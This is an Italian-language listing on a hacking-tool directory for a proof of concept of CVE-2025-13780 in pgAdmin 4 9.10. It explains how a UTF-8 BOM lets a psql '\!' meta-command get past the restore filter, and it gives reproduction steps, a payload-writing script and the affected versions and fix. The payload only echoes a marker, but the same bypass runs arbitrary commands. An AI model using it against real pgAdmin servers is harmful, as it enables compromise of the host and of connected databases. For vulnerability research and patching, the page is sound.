Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pgadmin4-9.10-CVE-2025-13780 — Proof of concept for CVE-2025-13780 | Kitploit
Strumenti/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Proof of concept for CVE-2025-13780

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1418 mesi faNon ancora revisionato

pgadmin4 < 9.11 Esecuzione di comandi tramite il filtro di meta-comandi

Riepilogo

Il filtro di meta-comandi per il ripristino PLAIN introdotto in pgAdmin come parte della correzione per Issue 9320 non rileva i meta-comandi quando un file SQL inizia con un BOM UTF-8 (EF BB BF) o altre sequenze speciali. Il filtro implementato utilizza la funzione has_meta_commands(), che scansiona i byte grezzi usando un'espressione regolare. L'espressione regolare non tratta i byte come ignorabili, quindi meta-comandi come ! rimangono non rilevati. Quando pgAdmin invoca psql con --file, psql rimuove i byte ed esegue il comando. Ciò può portare all'esecuzione remota di comandi durante un'operazione di ripristino.

Questo bypass interessa la patch introdotta nel commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

Versioni interessate

Confermate affette:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Probabilmente affette:

  • Qualsiasi versione contenente la funzione has_meta_commands() corretta dal commit 1d397395f75320ca1d4ed5e9ca721c603415e836

Mitigazione

  • 9.11+: i ripristini PLAIN vengono eseguiti in modalità ristretta di psql (\restrict), quindi i meta-comandi sono ora bloccati da psql stesso
  • 9.10: vulnerabile al bypass del filtro.

Dettagli

Posizione:

  • web/pgadmin/tools/restore/__init__.py
  • Funzione has_meta_commands()

Codice rilevante (dalla versione corretta):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Causa principale:

  1. I file SQL vengono aperti in modalità binaria.
  2. L'espressione regolare considera solo spazi e tabulazioni come ignorabili prima di una barra rovesciata.
  3. Un BOM UTF-8 (EF BB BF) o una sequenza simile posizionata prima della barra rovesciata impedisce il rilevamento.
  4. pgAdmin conclude erroneamente che il file non contiene meta-comandi.
  5. psql rimuove il BOM durante la lettura ed esegue il meta-comando normalmente.

Comportamento previsto:

  • I file SQL contenenti meta-comandi dovrebbero essere bloccati indipendentemente dal BOM.

Comportamento effettivo:

  • I meta-comandi prefissati con BOM bypassano il filtro e consentono l'esecuzione.

Passaggi per la riproduzione

Passo 1: Creare un file SQL che inizi con un BOM e un meta-comando.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Passo 2: Verificare il BOM:

root@kitploit:~
xxd bypass_bom.sql | head -1

Previsto:

root@kitploit:~
ef bb bf 5c 21 ...

Passo 3: Posizionare il file nell'archivio di pgAdmin:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Passo 4: In pgAdmin: Ripristino -> Formato: PLAIN -> selezionare bypass_bom.sql -> Esegui

Passo 5: Verificare l'esecuzione:

root@kitploit:~
ls /tmp/bom_ran

Il file di controllo senza BOM viene correttamente bloccato.

Prova di concetto (PoC)

Payload con BOM:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Payload di controllo:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Impatto

  • Esecuzione di comandi tramite meta-comandi.
  • Lettura/scrittura arbitraria di file.
  • Compromissione completa dell'host di pgAdmin.
  • Possibile compromissione dei server PostgreSQL connessi.
Scarica lo strumento